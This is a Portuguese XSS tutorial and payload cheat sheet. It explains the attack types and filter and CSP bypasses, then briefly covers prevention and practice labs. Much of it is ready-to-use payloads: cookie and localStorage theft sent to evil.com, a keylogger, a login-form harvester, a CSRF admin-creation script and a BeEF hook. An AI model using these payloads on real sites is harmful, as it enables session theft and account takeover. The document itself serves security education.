O que é XSS e por que é perigoso
Cross-Site Scripting ocorre quando uma aplicação inclui dados não confiáveis em uma página web sem validação ou encoding adequado. O navegador da vítima executa o script injetado no contexto da página alvo, com acesso a cookies, localStorage, sessões e o DOM completo.
Tipos de XSS
1. Reflected XSS
O payload viaja na requisição e é refletido na resposta imediatamente. Requer que a vítima clique em um link malicioso.
-- URL maliciosa
https://alvo.com/search?q=<script>alert(document.cookie)</script>
-- Aplicação vulnerável retorna:
<p>Resultados para: <script>alert(document.cookie)</script></p>2. Stored XSS
O payload é persistido no servidor (banco de dados, log, perfil, comentário). Afeta todos os usuários que visualizarem o conteúdo — o mais perigoso.
-- Input em campo de comentário
<script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
-- Persiste no banco; dispara para cada visitante da página3. DOM-Based XSS
O payload nunca vai ao servidor. O JavaScript da própria página manipula o DOM com dados controlados pelo atacante.
-- Código vulnerável
document.getElementById('output').innerHTML = location.hash.slice(1);
-- URL maliciosa:
https://alvo.com/page#<img src=x onerror=alert(1)>
-- Sources comuns (entradas contaminadas)
location.href / location.hash / location.search
document.referrer
window.name
postMessage
localStorage / sessionStorage
-- Sinks perigosos (executam código)
innerHTML / outerHTML
document.write() / document.writeln()
element.setAttribute('href', ...) / ('src', ...)
eval() / setTimeout(str) / setInterval(str)
window.location = userInputPayloads — do Básico ao Avançado
-- Teste básico
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
-- Sem tag script (bypass de filtros)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
-- Case variation
<ScRiPt>alert(1)</ScRiPt>
-- Encoding HTML entities
<img src=x onerror=alert(1)>
-- Sem parênteses
<img src=x onerror=alert`1`>
-- Contexto dentro de atributo HTML
" onmouseover="alert(1)
' onmouseover='alert(1)
-- Contexto dentro de string JavaScript
'; alert(1); //
"); alert(1); //
-- Contexto dentro de href
javascript:alert(1)
-- AngularJS CSTI (quando Angular está na página)
{{constructor.constructor('alert(1)')()}}Roubo de Sessão e Exploração Real
-- Roubo de cookie via imagem
<script>
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);
</script>
-- Exfiltração via fetch
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
url: window.location.href
})
});
</script>
-- Keylogger
<script>
document.addEventListener('keypress', function(e) {
new Image().src = 'https://evil.com/key?k=' + e.key;
});
</script>
-- Captura de formulário de login
<script>
document.querySelector('form').addEventListener('submit', function(e) {
var data = new FormData(e.target);
fetch('https://evil.com/harvest', {method:'POST', body: data});
});
</script>
-- XSS para CSRF (bypassa token CSRF pois roda no mesmo domínio)
<script>
var token = document.querySelector('[name=csrf_token]').value;
fetch('/admin/add-user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'username=hacker&role=admin&csrf_token=' + token
});
</script>BeEF — Browser Exploitation Framework
-- Hook payload (inserir como XSS stored)
<script src="http://SEU_IP:3000/hook.js"></script>
-- Após hooked, pelo painel BeEF:
-- Executar JS arbitrário no browser
-- Redirecionar para phishing
-- Coletar: IP interno, plugins, SO, geolocalização
-- Port scan da rede interna via browser
-- Roubar credenciais salvas
-- Clickjacking e engenharia socialBypass de CSP
-- CSP fraca com 'unsafe-inline'
Content-Security-Policy: script-src 'self' 'unsafe-inline'
-- Qualquer inline script funciona
-- CSP com domínio confiável com JSONP endpoint
Content-Security-Policy: script-src 'self' https://accounts.google.com
-- Bypass:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)">
-- CSP com Angular allowlistado
-- Bypass via CSTI:
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
-- Exfiltrar mesmo com connect-src restrito
<img src="https://evil.com/?data=SECRET">Prevenção
- Output Encoding — encode HTML entities em todo output (htmlspecialchars PHP, OWASP Java HTML Sanitizer, DOMPurify para JS)
- Content Security Policy — CSP rigoroso sem 'unsafe-inline', com nonces aleatórios por request
- HttpOnly Cookie — flag HttpOnly impede leitura de cookie via JS
- Frameworks modernos — React, Vue, Angular fazem escaping automático; evitar dangerouslySetInnerHTML / v-html / innerHTML
- Validação de Input — whitelist de caracteres no servidor
CVEs Notáveis
- CVE-2022-24785 — Moment.js: XSS via locale path
- CVE-2021-22145 — Kibana: Stored XSS em dashboard
- CVE-2023-44270 — PostCSS: XSS via CSS parsing
Labs para Praticar
- PortSwigger Web Academy — 30+ labs de XSS categorizados por contexto
- XSS Game (Google) — xss-game.appspot.com
- HackTheBox — boxes com XSS: Scanned, Unobtainium
- PentesterLab — XSS e DOM XSS com certificados